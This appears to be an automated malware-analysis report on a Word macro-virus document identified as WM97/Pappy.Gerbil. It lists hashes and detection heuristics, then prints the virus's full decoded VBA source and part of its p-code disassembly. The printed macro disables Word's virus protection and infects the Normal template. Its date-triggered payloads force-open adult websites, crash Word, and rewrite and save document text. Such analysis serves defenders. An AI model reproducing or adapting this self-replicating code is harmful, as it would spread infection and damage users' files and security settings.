Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28cfad166b136951…

MALICIOUS

Office (OLE)

49.5 KB Created: 1998-11-06 09:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3a33315a163da389eb1e1071836f714e SHA-1: 50f4a5b3b59894350dc0ec27f015b554ff701885 SHA-256: 28cfad166b13695174557acecb0f832e67504bdcb4f5d10b6604cd2b94a77566
258 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and AutoOpen/Auto_Close VBA macros, indicating malicious intent. The document body presents a scam to earn money, directing the user to call a premium-rate phone number. The VBA macro code, though obfuscated, likely executes malicious actions, potentially downloading further payloads or establishing persistence.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.microsoft.com� In document text (OLE body)
    • http://www.pussy.com�In document text (OLE body)
    • http://www.hardcore.comIn document text (OLE body)
    • http://www.xxx.com�In document text (OLE body)
    • http://www.babe.comIn document text (OLE body)
    • http://www.pussy.comIn document text (OLE body)
    • http://www.microsoft.comIn document text (OLE body)
    • http://www.xxx.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39529 bytes
SHA-256: 8fe65baeeef6f2aee57ed2574e0f99d53cc24529d4730e678d5cea7309b04f85
Detection
ClamAV: Doc.Trojan.Class-18
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'609739310414609052100002.81032024909776E+226097393104146090521000060973931041460905210000
Randomize
'36146755129206632000097.46907630906874E+2036146755129206632000093614675512920663200009
On Error GoTo 97
'9578034625640290756253.8590625845411E+20957803462564029075625957803462564029075625
I = 0: o = 0: r = 0
'481842010815013178094442.41555981357361E+224818420108150131780944448184201081501317809444
Options.VirusProtection = False
'7444166561186154928368.82993485267671E+19744416656118615492836744416656118615492836
Options.SaveNormalPrompt = False
'3065172496185831424005.69605369737314E+19306517249618583142400306517249618583142400
Options.ConfirmConversions = False
'29446560000926471844002.72814087426566E+2129446560000926471844002944656000092647184400
    If Day(13) And Month(10) Then Call ©
'19985476900209792049644.19279416188387E+2019985476900209792049641998547690020979204964
    If Day(13) And Month(11) Then Call ê
'38119510813096276993641.18028564329814E+2138119510813096276993643811951081309627699364
    If Day(13) And Month(12) Then Call Ï
'17163620138849042416.66790205174028E+1717163620138849042411716362013884904241
lx = Int(Rnd(1) * 100) + 1
'716659670254334892432013.10664258089351E+227166596702543348924320171665967025433489243201
    If lx = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)
'160551706815219600110248.38015706564696E+211605517068152196001102416055170681521960011024
    lr = Int(Rnd(1) * 75) + 1
'488480722561246188841966.0873922596683E+214884807225612461888419648848072256124618884196
    If lr = 74 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'133938958244819261356816.4548684561742E+211339389582448192613568113393895824481926135681
    ls = Int(Rnd(1) * 50) + 1
'24775389604478712520251.18602891975065E+2124775389604478712520252477538960447871252025
    If ls = 49 Then MsgBox Chr(32) + Chr(32) + Chr(80) + Chr(65) + Chr(80) + Chr(80) + Chr(89) + Chr(32) + Chr(73) + Chr(83) + Chr(32) + Chr(79) + Chr(76) + Chr(68), vbCritial
'268304400003217090336368.63159492442868E+212683044000032170903363626830440000321709033636
    lt = Int(Rnd(1) * 25) + 1
'9136301056254945089002.32925508585271E+20913630105625494508900913630105625494508900
    If lt = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(65) + Chr(80) + Chr(80) + Chr(89) + Chr(32) + Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'4586450561302098357165.97200973937156E+19458645056130209835716458645056130209835716
gx = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'116674562562013352796162.34907056770921E+211166745625620133527961611667456256201335279616
xg = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'51377928889747513876493.8405714789844E+2151377928889747513876495137792888974751387649
If xg > 174 And gx > 0 Then GoTo 97
'35572874493729605970251.32672805076858E+2135572874493729605970253557287449372960597025
If xg < 174 Then
'336875768131022672041.04507864719894E+193368757681310226720433687576813102267204
 Set sx = NormalTemplate.VBProject.VBComponents.Item(1)
'93856449653310441965.00352880897247E+1893856449653310441969385644965331044196
 ActiveDocument.VBProject.VBComponents.Item(1).Name = sx.Name
'15151148100234322617763.55025668486145E+2015151148100234322617761515114810023432261776
 ActiveDocument.VBProject.VBComponents.Item(1).Export Application.StartupPath & Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'429111225003416367430091.46600161297602E+224291112250034163674300942911122500341636743009
End If
'253627920494709678854411.19450605401973E+222536279204947096788544125362792049470967885441
If gx = 0 Then Set sx = ActiveDocument.VBProject.VBComponents.Item(1)
'57642247744347774011692.00464757407597E+2157642247744347774011695764224774434777401169
 dl = Int(Rnd(1) * 200) + 1
'648104672413952372850412.56155131145715E+226481046724139523728504164810467241395237285041
 If ld = 199 Then MsgBox Chr(32) + Chr(32) + Chr(80) + Chr(65) + Chr(80) + Chr(80) + Chr(89) + Chr(32) + Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83), vbCritical
'399312295845474490504042.18603137172249E+223993122958454744905040439931229584547449050404
 sx.codemodule.AddFromFile Application.StartupPath & Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'2713597291047091937442.84138584381803E+19271359729104709193744271359729104709193744
 With sx.codemodule
'75656943615146154126893.89342292586486E+2175656943615146154126897565694361514615412689
    For x = 1 To 4
'61712496400721158799364.45045098093323E+2161712496400721158799366171249640072115879936
    .deletelines 1
'7365253215863087412644.31831233864574E+20736525321586308741264736525321586308741264
    Next x
'2039755240092505924001.88689443210042E+20203975524009250592400203975524009250592400
 End With
'5646564062511865958096.70018925181251E+19564656406251186595809564656406251186595809
 If xg < 174 Then
'468332881119047738815.57539704934228E+184683328811190477388146833288111904773881
    With sx.codemodule
'250512921763130111566767.84133394023819E+212505129217631301115667625051292176313011156676
    .replaceline 1, "Sub AutoClose()"
'404850616814273106161001.72996966497546E+224048506168142731061610040485061681427310616100
    .replaceline 177, "Sub ToolsMacro()"
'812341690030460464812.47443054619409E+198123416900304604648181234169003046046481
End With
'56163786121140479385767.88985417623409E+2056163786121140479385765616378612114047938576
 End If
'303515630893849197355611.16829156380809E+223035156308938491973556130351563089384919735561
 With sx.codemodule
'4663660681408896929441.90695653241096E+20466366068140889692944466366068140889692944
    For x = 2 To 176 Step 2
'29503364891237259520093.65033190848416E+2029503364891237259520092950336489123725952009
    r = Int(Rnd(612835) * 303989) + 8485
'5299664411409649552097.47066956178381E+19529966441140964955209529966441140964955209
    o = Int(Rnd(484958) * 785865) + 2988
'1840607756171879875241.32302655874244E+20184060775617187987524184060775617187987524
    .replaceline x, "'" & r * r & o * o & r * r * o * o & r * r & o * o & r * r & o * o
'843594598091586253652841.33815501273635E+228435945980915862536528484359459809158625365284
    Next x
'33770677824133663657694.51391232062641E+2033770677824133663657693377067782413366365769
 End With
'275496923614571625950441.25946888524186E+222754969236145716259504427549692361457162595044
97:
'16151868100687546085211.11051536809833E+2116151868100687546085211615186810068754608521
 If xg > 174 And gx = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'116318382012069094461292.40673719963105E+211163183820120690944612911631838201206909446129
End Sub
'568202569149550886818.49751980816702E+185682025691495508868156820256914955088681
Private Sub ©()
'49243604281200137609009.8554972193415E+2049243604281200137609004924360428120013760900
Top:
'10960624249982841310091.07725542962914E+2110960624249982841310091096062424998284131009
I = I + 1
'14733314564594453749766.76915323265856E+2014733314564594453749761473331456459445374976
On Error Resume Next
'804198850565877261566894.7264869965334E+228041988505658772615668980419885056587726156689
Application.WindowState = wdWindowStateMinimize
'355616620845675784108842.01840316540305E+223556166208456757841088435561662084567578410884
Application.WindowState = wdWindowStateMaximize
'23464336006193658520041.45330084583481E+2123464336006193658520042346433600619365852004
If I < 10 Then GoTo Top
'423079647212511402973211.06252348390783E+224230796472125114029732142307964721251140297321
Application.Quit
'6343900064196381342766.11433606513208E+20634390006419638134276634390006419638134276
End Sub
'24514381444555980004001.11687031651069E+2124514381444555980004002451438144455598000400
Private Sub ê()
'1300398122567547029698.78380305893278E+19130039812256754702969130039812256754702969
On Error Resume Next
'350367267612040066922417.14772673346334E+213503672676120400669224135036726761204006692241
ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.microsoft.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'59718892842509869721961.4988664096809E+2159718892842509869721965971889284250986972196
ActiveDocument.FollowHyperlink Address:="http://www.pussy.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'52886200900209001957611.10533195186557E+2152886200900209001957615288620090020900195761
ActiveDocument.FollowHyperlink Address:="http://www.hardcore.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'313095330251181296900003.69858543028801E+213130953302511812969000031309533025118129690000
ActiveDocument.FollowHyperlink Address:="http://www.xxx.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'6084468009340225403042.07009058064601E+20608446800934022540304608446800934022540304
ActiveDocument.FollowHyperlink Address:="http://www.babe.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76)
'974195186411954488732161.90405351476286E+229741951864119544887321697419518641195448873216
Application.Quit
'52437336064880979569694.61962217613526E+2152437336064880979569695243733606488097956969
End Sub
'831618708846106625396015.07838392719939E+228316187088461066253960183161870884610662539601
Private Sub Ï()
'12285025002001291801642.45859198154424E+2012285025002001291801641228502500200129180164
On Error Resume Next
'578460221441335683209007.7263960485183E+215784602214413356832090057846022144133568320900
Selection.HomeKey Unit:=wdStory
'848813263361699352218241.44243270196235E+228488132633616993522182484881326336169935221824
Selection.Find.ClearFormatting
'480942444161773765879218.53079297314869E+214809424441617737658792148094244416177376587921
Selection.Find.Replacement.ClearFormatting
'156165011561092844587241.70664087599618E+211561650115610928445872415616501156109284458724
             With Selection.Find
'250512921765290452960251.32532682850607E+222505129217652904529602525051292176529045296025
            .Text = "The"
'15652309694458513338416.97860315297891E+2015652309694458513338411565230969445851333841
            .Replacement.Text = "Pappy.Gerbil"
'4858718062547665216002.31591845932164E+20485871806254766521600485871806254766521600
            .Forward = True
'296380326492944656008.72738106680737E+182963803264929446560029638032649294465600
            .Wrap = wdFindContinue
'954748201009995714569.54339049386951E+199547482010099957145695474820100999571456
            .Format = False
'21285934609295472034496.28939840494233E+2021285934609295472034492128593460929547203449
            .MatchCase = False
'687493644011204791042018.2828618374206E+216874936440112047910420168749364401120479104201
            .MatchWholeWord = True
'461261529001521304215217.0171910838191E+214612615290015213042152146126152900152130421521
            .MatchAllWordForms = False
'153789761445237706384008.05505615288125E+211537897614452377063840015378976144523770638400
        End With
'27448168812514671462256.90231267975275E+2027448168812514671462252744816881251467146225
        Selection.Find.Execute Replace:=wdReplaceAll
'349132962012645795831299.23734535451988E+213491329620126457958312934913296201264579583129
        If ActiveDocument.Saved = False Then ActiveDocument.Save
'2372664100792698394011.88080702159518E+20237266410079269839401237266410079269839401
        Application.Quit
'39364147216234978241009.24971807128073E+2039364147216234978241003936414721623497824100
End Sub
'629006400003518162458812.21294670283123E+226290064000035181624588162900640000351816245881
Sub ViewVBCode()
'WM97/Pappy.Gerbil by Virus :) Smile!
End Sub








' Processing file: /tmp/qstore_ew3zsr34
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 21677 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	QuoteRem 0x0000 0x0059 "609739310414609052100002.81032024909776E+226097393104146090521000060973931041460905210000"
' Line #2:
' 	ArgsCall Read 0x0000 
' Line #3:
' 	QuoteRem 0x0000 0x0056 "36146755129206632000097.46907630906874E+2036146755129206632000093614675512920663200009"
' Line #4:
' 	OnError 97 
' Line #5:
' 	QuoteRem 0x0000 0x0052 "9578034625640290756253.8590625845411E+20957803462564029075625957803462564029075625"
' Line #6:
' 	LitDI2 0x0000 
' 	St I 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St o 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St r 
' Line #7:
' 	QuoteRem 0x0000 0x0059 "481842010815013178094442.41555981357361E+224818420108150131780944448184201081501317809444"
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #9:
' 	QuoteRem 0x0000 0x0053 "7444166561186154928368.82993485267671E+19744416656118615492836744416656118615492836"
' Line #10:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #11:
' 	QuoteRem 0x0000 0x0053 "3065172496185831424005.69605369737314E+19306517249618583142400306517249618583142400"
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #13:
' 	QuoteRem 0x0000 0x0056 "29446560000926471844002.72814087426566E+2129446560000926471844002944656000092647184400"
' Line #14:
' 	LitDI2 0x000D 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000A 
' 	ArgsLd Month 0x0001 
' 	And 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) © 0x0000 
' 	EndIf 
' Line #15:
' 	QuoteRem 0x0000 0x0056 "19985476900209792049644.19279416188387E+2019985476900209792049641998547690020979204964"
' Line #16:
' 	LitDI2 0x000D 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000B 
' 	ArgsLd Month 0x0001 
' 	And 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) ê 0x0000 
' 	EndIf 
' Line #17:
' 	QuoteRem 0x0000 0x0056 "38119510813096276993641.18028564329814E+2138119510813096276993643811951081309627699364"
' Line #18:
' 	LitDI2 0x000D 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000C 
' 	ArgsLd Month 0x0001 
' 	And 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) Ï 0x0000 
' 	EndIf 
' Line #19:
' 	QuoteRem 0x0000 0x004D "17163620138849042416.66790205174028E+1717163620138849042411716362013884904241"
' Line #20:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lx 
' Line #21:
' 	QuoteRem 0x0000 0x0059 "716659670254334892432013.10664258089351E+227166596702543348924320171665967025433489243201"
' Line #22:
' 	Ld lx 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0041 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0048 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #23:
' 	QuoteRem 0x0000 0x0059 "160551706815219600110248.38015706564696E+211605517068152196001102416055170681521960011024"
' Line #24:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x004B 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lr 
' Line #25:
' 	QuoteRem 0x0000 0x0058 "488480722561246188841966.0873922596683E+214884807225612461888419648848072256124618884196"
' Line #26:
' 	Ld lr 
' 	LitDI2 0x004A 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004F 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #27:
' 	QuoteRem 0x0000 0x0058 "133938958244819261356816.4548684561742E+211339389582448192613568113393895824481926135681"
' Line #28:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0032 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St ls 
' Line #29:
' 	QuoteRem 0x0000 0x0056 "24775389604478712520251.18602891975065E+2124775389604478712520252477538960447871252025"
' Line #30:
' 	Ld ls 
' 	LitDI2 0x0031 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0041 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004F 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0044 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld vbCritial 
' 	ArgsCall MsgBox 0x0002 
' 	EndIf 
' Line #31:
' 	QuoteRem 0x0000 0x0059 "268304400003217090336368.63159492442868E+212683044000032170903363626830440000321709033636"
' Line #32:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0019 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lt 
' Line #33:
' 	QuoteRem 0x0000 0x0053 "9136301056254945089002.32925508585271E+20913630105625494508900913630105625494508900"
' Line #34:
' 	Ld lt 
' 	LitDI2 0x0018 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0041 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #35:
' 	QuoteRem 0x0000 0x0053 "4586450561302098357165.97200973937156E+19458645056130209835716458645056130209835716"
' Line #36:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St gx 
' Line #37:
' 	QuoteRem 0x0000 0x0059 "116674562562013352796162.34907056770921E+211166745625620133527961611667456256201335279616"
' Line #38:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St xg 
' Line #39:
' 	QuoteRem 0x0000 0x0055 "51377928889747513876493.8405714789844E+2151377928889747513876495137792888974751387649"
' Line #40:
' 	Ld xg 
' 	LitDI2 0x00AE 
' 	Gt 
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 97 
' 	EndIf 
' Line #41:
' 	QuoteRem 0x0000 0x0056 "35572874493729605970251.32672805076858E+2135572874493729605970253557287449372960597025"
' Line #42:
' 	Ld xg 
' 	LitDI2 0x00AE 
' 	Lt 
' 	IfBlock 
' Line #43:
' 	QuoteRem 0x0000 0x0050 "336875768131022672041.04507864719894E+193368757681310226720433687576813102267204"
' Line #44:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set sx 
' Line #45:
' 	QuoteRem 0x0000 0x004D "93856449653310441965.00352880897247E+1893856449653310441969385644965331044196"
' Line #46:
' 	Ld sx 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #47:
' 	QuoteRem 0x0000 0x0056 "15151148100234322617763.55025668486145E+2015151148100234322617761515114810023432261776"
' Line #48:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #49:
' 	QuoteRem 0x0000 0x0059 "429111225003416367430091.46600161297602E+224291112250034163674300942911122500341636743009"
' Line #50:
' 	EndIfBlock 
' Line #51:
' 	QuoteRem 0x0000 0x0059 "253627920494709678854411.19450605401973E+222536279204947096788544125362792049470967885441"
' Line #52:
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set sx 
' 	EndIf 
' Line #53:
' 	QuoteRem 0x0000 0x0056 "57642247744347774011692.00464757407597E+2157642247744347774011695764224774434777401169"
' Line #54:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St dl 
' Line #55:
' 	QuoteRem 0x0000 0x0059 "648104672413952372850412.56155131145715E+226481046724139523728504164810467241395237285041"
' Line #56:
' 	Ld ld 
' 	LitDI2 0x00C7 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0041 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
